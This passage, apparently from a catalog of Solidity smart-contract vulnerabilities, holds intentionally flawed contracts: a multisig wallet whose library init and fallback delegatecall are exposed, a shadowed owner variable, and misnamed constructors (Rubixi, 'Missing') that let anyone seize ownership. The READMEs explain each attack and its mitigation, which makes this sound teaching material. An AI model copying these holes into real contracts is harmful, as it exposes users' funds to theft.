| if (pending.ownersDone & ownerIndexBit > 0) { 128 | pending.yetNeeded++; 129 | pending.ownersDone -= ownerIndexBit; 130 | Revoke(msg.sender, _operation); 131 | } 132 | } 133 | 134 | // Replaces an owner `_from` with another `_to`. 135 | function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external { 136 | if (isOwner(_to)) return; 137 | uint ownerIndex = m_ownerIndex[uint(_from)]; 138 | if (ownerIndex == 0) return; 139 | 140 | clearPending(); 141 | m_owners[ownerIndex] = uint(_to); 142 | m_ownerIndex[uint(_from)] = 0; 143 | m_ownerIndex[uint(_to)] = ownerIndex; 144 | OwnerChanged(_from, _to); 145 | } 146 | 147 | function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external { 148 | if (isOwner(_owner)) return; 149 | 150 | clearPending(); 151 | if (m_numOwners >= c_maxOwners) 152 | reorganizeOwners(); 153 | if (m_numOwners >= c_maxOwners) 154 | return; 155 | m_numOwners++; 156 | m_owners[m_numOwners] = uint(_owner); 157 | m_ownerIndex[uint(_owner)] = m_numOwners; 158 | OwnerAdded(_owner); 159 | } 160 | 161 | function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external { 162 | uint ownerIndex = m_ownerIndex[uint(_owner)]; 163 | if (ownerIndex == 0) return; 164 | if (m_required > m_numOwners - 1) return; 165 | 166 | m_owners[ownerIndex] = 0; 167 | m_ownerIndex[uint(_owner)] = 0; 168 | clearPending(); 169 | reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot 170 | OwnerRemoved(_owner); 171 | } 172 | 173 | function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external { 174 | if (_newRequired > m_numOwners) return; 175 | m_required = _newRequired; 176 | clearPending(); 177 | RequirementChanged(_newRequired); 178 | } 179 | 180 | // Gets an owner by 0-indexed position (using numOwners as the count) 181 | function getOwner(uint ownerIndex) external constant returns (address) { 182 | return address(m_owners[ownerIndex + 1]); 183 | } 184 | 185 | function isOwner(address _addr) constant returns (bool) { 186 | return m_ownerIndex[uint(_addr)] > 0; 187 | } 188 | 189 | function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) { 190 | var pending = m_pending[_operation]; 191 | uint ownerIndex = m_ownerIndex[uint(_owner)]; 192 | 193 | // make sure they're an owner 194 | if (ownerIndex == 0) return false; 195 | 196 | // determine the bit to set for this owner. 197 | uint ownerIndexBit = 2**ownerIndex; 198 | return !(pending.ownersDone & ownerIndexBit == 0); 199 | } 200 | 201 | // constructor - stores initial daily limit and records the present day's index. 202 | function initDaylimit(uint _limit) { 203 | m_dailyLimit = _limit; 204 | m_lastDay = today(); 205 | } 206 | // (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today. 207 | function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external { 208 | m_dailyLimit = _newLimit; 209 | } 210 | // resets the amount already spent today. needs many of the owners to confirm. 211 | function resetSpentToday() onlymanyowners(sha3(msg.data)) external { 212 | m_spentToday = 0; 213 | } 214 | 215 | // constructor - just pass on the owner array to the multiowned and 216 | // the limit to daylimit 217 | function initWallet(address[] _owners, uint _required, uint _daylimit) { 218 | initDaylimit(_daylimit); 219 | initMultiowned(_owners, _required); 220 | } 221 | 222 | // kills the contract sending everything to `_to`. 223 | function kill(address _to) onlymanyowners(sha3(msg.data)) external { 224 | suicide(_to); 225 | } 226 | 227 | // Outside-visible transact entry point. Executes transaction immediately if below daily spend limit. 228 | // If not, goes into multisig process. We provide a hash on return to allow the sender to provide 229 | // shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value 230 | // and _data arguments). They still get the option of using them if they want, anyways. 231 | function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) { 232 | // first, take the opportunity to check that we're under the daily limit. 233 | if ((_data.length == 0 && underLimit(_value)) || m_required == 1) { 234 | // yes - just execute the call. 235 | address created; 236 | if (_to == 0) { 237 | created = create(_value, _data); 238 | } else { 239 | if (!_to.call.value(_value)(_data)) 240 | throw; 241 | } 242 | SingleTransact(msg.sender, _value, _to, _data, created); 243 | } else { 244 | // determine our operation hash. 245 | o_hash = sha3(msg.data, block.number); 246 | // store if it's new 247 | if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) { 248 | m_txs[o_hash].to = _to; 249 | m_txs[o_hash].value = _value; 250 | m_txs[o_hash].data = _data; 251 | } 252 | if (!confirm(o_hash)) { 253 | ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data); 254 | } 255 | } 256 | } 257 | 258 | function create(uint _value, bytes _code) internal returns (address o_addr) { 259 | assembly { 260 | o_addr := create(_value, add(_code, 0x20), mload(_code)) 261 | jumpi(invalidJumpLabel, iszero(extcodesize(o_addr))) 262 | } 263 | } 264 | 265 | // confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order 266 | // to determine the body of the transaction from the hash provided. 267 | function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) { 268 | if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) { 269 | address created; 270 | if (m_txs[_h].to == 0) { 271 | created = create(m_txs[_h].value, m_txs[_h].data); 272 | } else { 273 | if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data)) 274 | throw; 275 | } 276 | 277 | MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created); 278 | delete m_txs[_h]; 279 | return true; 280 | } 281 | } 282 | 283 | // INTERNAL METHODS 284 | 285 | function confirmAndCheck(bytes32 _operation) internal returns (bool) { 286 | // determine what index the present sender is: 287 | uint ownerIndex = m_ownerIndex[uint(msg.sender)]; 288 | // make sure they're an owner 289 | if (ownerIndex == 0) return; 290 | 291 | var pending = m_pending[_operation]; 292 | // if we're not yet working on this operation, switch over and reset the confirmation status. 293 | if (pending.yetNeeded == 0) { 294 | // reset count of confirmations needed. 295 | pending.yetNeeded = m_required; 296 | // reset which owners have confirmed (none) - set our bitmap to 0. 297 | pending.ownersDone = 0; 298 | pending.index = m_pendingIndex.length++; 299 | m_pendingIndex[pending.index] = _operation; 300 | } 301 | // determine the bit to set for this owner. 302 | uint ownerIndexBit = 2**ownerIndex; 303 | // make sure we (the message sender) haven't confirmed this operation previously. 304 | if (pending.ownersDone & ownerIndexBit == 0) { 305 | Confirmation(msg.sender, _operation); 306 | // ok - check if count is enough to go ahead. 307 | if (pending.yetNeeded <= 1) { 308 | // enough confirmations: reset and run interior. 309 | delete m_pendingIndex[m_pending[_operation].index]; 310 | delete m_pending[_operation]; 311 | return true; 312 | } 313 | else 314 | { 315 | // not enough: record that this owner in particular confirmed. 316 | pending.yetNeeded--; 317 | pending.ownersDone |= ownerIndexBit; 318 | } 319 | } 320 | } 321 | 322 | function reorganizeOwners() private { 323 | uint free = 1; 324 | while (free < m_numOwners) 325 | { 326 | while (free < m_numOwners && m_owners[free] != 0) free++; 327 | while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; 328 | if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) 329 | { 330 | m_owners[free] = m_owners[m_numOwners]; 331 | m_ownerIndex[m_owners[free]] = free; 332 | m_owners[m_numOwners] = 0; 333 | } 334 | } 335 | } 336 | 337 | // checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and 338 | // returns true. otherwise just returns false. 339 | function underLimit(uint _value) internal onlyowner returns (bool) { 340 | // reset the spend limit if we're on a different day to last time. 341 | if (today() > m_lastDay) { 342 | m_spentToday = 0; 343 | m_lastDay = today(); 344 | } 345 | // check to see if there's enough left - if so, subtract and return true. 346 | // overflow protection // dailyLimit check 347 | if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) { 348 | m_spentToday += _value; 349 | return true; 350 | } 351 | return false; 352 | } 353 | 354 | // determines today's index. 355 | function today() private constant returns (uint) { return now / 1 days; } 356 | 357 | function clearPending() internal { 358 | uint length = m_pendingIndex.length; 359 | 360 | for (uint i = 0; i < length; ++i) { 361 | delete m_txs[m_pendingIndex[i]]; 362 | 363 | if (m_pendingIndex[i] != 0) 364 | delete m_pending[m_pendingIndex[i]]; 365 | } 366 | 367 | delete m_pendingIndex; 368 | } 369 | 370 | // FIELDS 371 | address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe; 372 | 373 | // the number of owners that must confirm the same operation before it is run. 374 | uint public m_required; 375 | // pointer used to find a free slot in m_owners 376 | uint public m_numOwners; 377 | 378 | uint public m_dailyLimit; 379 | uint public m_spentToday; 380 | uint public m_lastDay; 381 | 382 | // list of owners 383 | uint[256] m_owners; 384 | 385 | uint constant c_maxOwners = 250; 386 | // index on the list of owners to allow reverse lookup 387 | mapping(uint => uint) m_ownerIndex; 388 | // the ongoing operations. 389 | mapping(bytes32 => PendingState) m_pending; 390 | bytes32[] m_pendingIndex; 391 | 392 | // pending transactions we have at present. 393 | mapping (bytes32 => Transaction) m_txs; 394 | } 395 | 396 | contract Wallet is WalletEvents { 397 | 398 | // WALLET CONSTRUCTOR 399 | // calls the `initWallet` method of the Library in this context 400 | function Wallet(address[] _owners, uint _required, uint _daylimit) { 401 | // Signature of the Wallet Library's init function 402 | bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)")); 403 | address target = _walletLibrary; 404 | 405 | // Compute the size of the call data : arrays has 2 406 | // 32bytes for offset and length, plus 32bytes per element ; 407 | // plus 2 32bytes for each uint 408 | uint argarraysize = (2 + _owners.length); 409 | uint argsize = (2 + argarraysize) * 32; 410 | 411 | assembly { 412 | // Add the signature first to memory 413 | mstore(0x0, sig) 414 | // Add the call data, which is at the end of the 415 | // code 416 | codecopy(0x4, sub(codesize, argsize), argsize) 417 | // Delegate call to the library 418 | delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0) 419 | } 420 | } 421 | 422 | // METHODS 423 | 424 | // gets called when no other function matches 425 | function() payable { 426 | // just being sent some cash? 427 | if (msg.value > 0) 428 | Deposit(msg.sender, msg.value); 429 | else if (msg.data.length > 0) 430 | _walletLibrary.delegatecall(msg.data); 431 | } 432 | 433 | // Gets an owner by 0-indexed position (using numOwners as the count) 434 | function getOwner(uint ownerIndex) constant returns (address) { 435 | return address(m_owners[ownerIndex + 1]); 436 | } 437 | 438 | // As return statement unavailable in fallback, explicit the method here 439 | 440 | function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) { 441 | return _walletLibrary.delegatecall(msg.data); 442 | } 443 | 444 | function isOwner(address _addr) constant returns (bool) { 445 | return _walletLibrary.delegatecall(msg.data); 446 | } 447 | 448 | // FIELDS 449 | address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe; 450 | 451 | // the number of owners that must confirm the same operation before it is run. 452 | uint public m_required; 453 | // pointer used to find a free slot in m_owners 454 | uint public m_numOwners; 455 | 456 | uint public m_dailyLimit; 457 | uint public m_spentToday; 458 | uint public m_lastDay; 459 | 460 | // list of owners 461 | uint[256] m_owners; 462 | } 463 | -------------------------------------------------------------------------------- /variable shadowing/README.md: -------------------------------------------------------------------------------- 1 | # Variable Shadowing 2 | Variable shadowing occurs when a variable declared within a certain scope (decision block, method, or inner class) 3 | has the same name as a variable declared in an outer scope. 4 | 5 | ## Attack 6 | This depends a lot on the code of the contract itself. For instance, in the [this example](inherited_state.sol), variable shadowing prevents the owner of contract `C` from performing self destruct 7 | 8 | ## Mitigation 9 | The solidity compiler has [some checks](https://github.com/ethereum/solidity/issues/973) to emit warnings when 10 | it detects this kind of issue, but [it has known examples](https://github.com/ethereum/solidity/issues/2563) where 11 | it fails. 12 | -------------------------------------------------------------------------------- /variable shadowing/inherited_state.sol: -------------------------------------------------------------------------------- 1 | contract Suicidal { 2 | address owner; 3 | function suicide() public returns (address) { 4 | require(owner == msg.sender); 5 | selfdestruct(owner); 6 | } 7 | } 8 | contract C is Suicidal { 9 | address owner; 10 | function C() { 11 | owner = msg.sender; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /wrong_constructor_name/README.md: -------------------------------------------------------------------------------- 1 | # Wrong Constructor Name 2 | 3 | A function intended to be a constructor is named incorrectly, which causes it to end up in the runtime bytecode instead of being a constructor. 4 | 5 | ## Attack 6 | Anyone can call the function that was supposed to be the constructor. 7 | As a result anyone can change the state variables initialized in this function. 8 | 9 | ## Mitigations 10 | 11 | - Use `constructor` instead of a named constructor 12 | 13 | ## Examples 14 | - [Rubixi](Rubixi_source_code/Rubixi.sol) uses `DynamicPyramid` instead of `Rubixi` as a constructor 15 | - An [incorrectly named constructor](incorrect_constructor.sol) 16 | -------------------------------------------------------------------------------- /wrong_constructor_name/Rubixi_source_code/Rubixi.sol: -------------------------------------------------------------------------------- 1 | // 0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code 2 | pragma solidity ^0.4.15; 3 | 4 | contract Rubixi { 5 | 6 | //Declare variables for storage critical to contract 7 | uint private balance = 0; 8 | uint private collectedFees = 0; 9 | uint private feePercent = 10; 10 | uint private pyramidMultiplier = 300; 11 | uint private payoutOrder = 0; 12 | 13 | address private creator; 14 | 15 | //Sets creator 16 | function DynamicPyramid() { 17 | creator = msg.sender; 18 | } 19 | 20 | modifier onlyowner { 21 | if (msg.sender == creator) _; 22 | } 23 | 24 | struct Participant { 25 | address etherAddress; 26 | uint payout; 27 | } 28 | 29 | Participant[] private participants; 30 | 31 | //Fallback function 32 | function() { 33 | init(); 34 | } 35 | 36 | //init function run on fallback 37 | function init() private { 38 | //Ensures only tx with value of 1 ether or greater are processed and added to pyramid 39 | if (msg.value < 1 ether) { 40 | collectedFees += msg.value; 41 | return; 42 | } 43 | 44 | uint _fee = feePercent; 45 | //50% fee rebate on any ether value of 50 or greater 46 | if (msg.value >= 50 ether) _fee /= 2; 47 | 48 | addPayout(_fee); 49 | } 50 | 51 | //Function called for valid tx to the contract 52 | function addPayout(uint _fee) private { 53 | //Adds new address to participant array 54 | participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100)); 55 | 56 | //These statements ensure a quicker payout system to later pyramid entrants, so the pyramid has a longer lifespan 57 | if (participants.length == 10) pyramidMultiplier = 200; 58 | else if (participants.length == 25) pyramidMultiplier = 150; 59 | 60 | // collect fees and update contract balance 61 | balance += (msg.value * (100 - _fee)) / 100; 62 | collectedFees += (msg.value * _fee) / 100; 63 | 64 | //Pays earlier participiants if balance sufficient 65 | while (balance > participants[payoutOrder].payout) { 66 | uint payoutToSend = participants[payoutOrder].payout; 67 | participants[payoutOrder].etherAddress.send(payoutToSend); 68 | 69 | balance -= participants[payoutOrder].payout; 70 | payoutOrder += 1; 71 | } 72 | } 73 | 74 | //Fee functions for creator 75 | function collectAllFees() onlyowner { 76 | if (collectedFees == 0) throw; 77 | 78 | creator.send(collectedFees); 79 | collectedFees = 0; 80 | } 81 | 82 | function collectFeesInEther(uint _amt) onlyowner { 83 | _amt *= 1 ether; 84 | if (_amt > collectedFees) collectAllFees(); 85 | 86 | if (collectedFees == 0) throw; 87 | 88 | creator.send(_amt); 89 | collectedFees -= _amt; 90 | } 91 | 92 | function collectPercentOfFees(uint _pcent) onlyowner { 93 | if (collectedFees == 0 || _pcent > 100) throw; 94 | 95 | uint feesToCollect = collectedFees / 100 * _pcent; 96 | creator.send(feesToCollect); 97 | collectedFees -= feesToCollect; 98 | } 99 | 100 | //Functions for changing variables related to the contract 101 | function changeOwner(address _owner) onlyowner { 102 | creator = _owner; 103 | } 104 | 105 | function changeMultiplier(uint _mult) onlyowner { 106 | if (_mult > 300 || _mult < 120) throw; 107 | 108 | pyramidMultiplier = _mult; 109 | } 110 | 111 | function changeFeePercentage(uint _fee) onlyowner { 112 | if (_fee > 10) throw; 113 | 114 | feePercent = _fee; 115 | } 116 | 117 | //Functions to provide information to end-user using JSON interface or other interfaces 118 | function currentMultiplier() constant returns(uint multiplier, string info) { 119 | multiplier = pyramidMultiplier; 120 | info = 'This multiplier applies to you as soon as transaction is received, may be lowered to hasten payouts or increased if payouts are fast enough. Due to no float or decimals, multiplier is x100 for a fractional multiplier e.g. 250 is actually a 2.5x multiplier. Capped at 3x max and 1.2x min.'; 121 | } 122 | 123 | function currentFeePercentage() constant returns(uint fee, string info) { 124 | fee = feePercent; 125 | info = 'Shown in % form. Fee is halved(50%) for amounts equal or greater than 50 ethers. (Fee may change, but is capped to a maximum of 10%)'; 126 | } 127 | 128 | function currentPyramidBalanceApproximately() constant returns(uint pyramidBalance, string info) { 129 | pyramidBalance = balance / 1 ether; 130 | info = 'All balance values are measured in Ethers, note that due to no decimal placing, these values show up as integers only, within the contract itself you will get the exact decimal value you are supposed to'; 131 | } 132 | 133 | function nextPayoutWhenPyramidBalanceTotalsApproximately() constant returns(uint balancePayout) { 134 | balancePayout = participants[payoutOrder].payout / 1 ether; 135 | } 136 | 137 | function feesSeperateFromBalanceApproximately() constant returns(uint fees) { 138 | fees = collectedFees / 1 ether; 139 | } 140 | 141 | function totalParticipants() constant returns(uint count) { 142 | count = participants.length; 143 | } 144 | 145 | function numberOfParticipantsWaitingForPayout() constant returns(uint count) { 146 | count = participants.length - payoutOrder; 147 | } 148 | 149 | function participantDetails(uint orderInPyramid) constant returns(address Address, uint Payout) { 150 | if (orderInPyramid <= participants.length) { 151 | Address = participants[orderInPyramid].etherAddress; 152 | Payout = participants[orderInPyramid].payout / 1 ether; 153 | } 154 | } 155 | } 156 | -------------------------------------------------------------------------------- /wrong_constructor_name/incorrect_constructor.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | contract Missing{ 4 | address private owner; 5 | 6 | modifier onlyowner { 7 | require(msg.sender==owner); 8 | _; 9 | } 10 | 11 | // The name of the constructor should be Missing 12 | // Anyone can call the IamMissing once the contract is deployed 13 | function IamMissing() 14 | public 15 | { 16 | owner = msg.sender; 17 | } 18 | 19 | function withdraw() 20 | public 21 | onlyowner 22 | { 23 | owner.transfer(this.balance); 24 | } 25 | } 26 | --------------------------------------------------------------------------------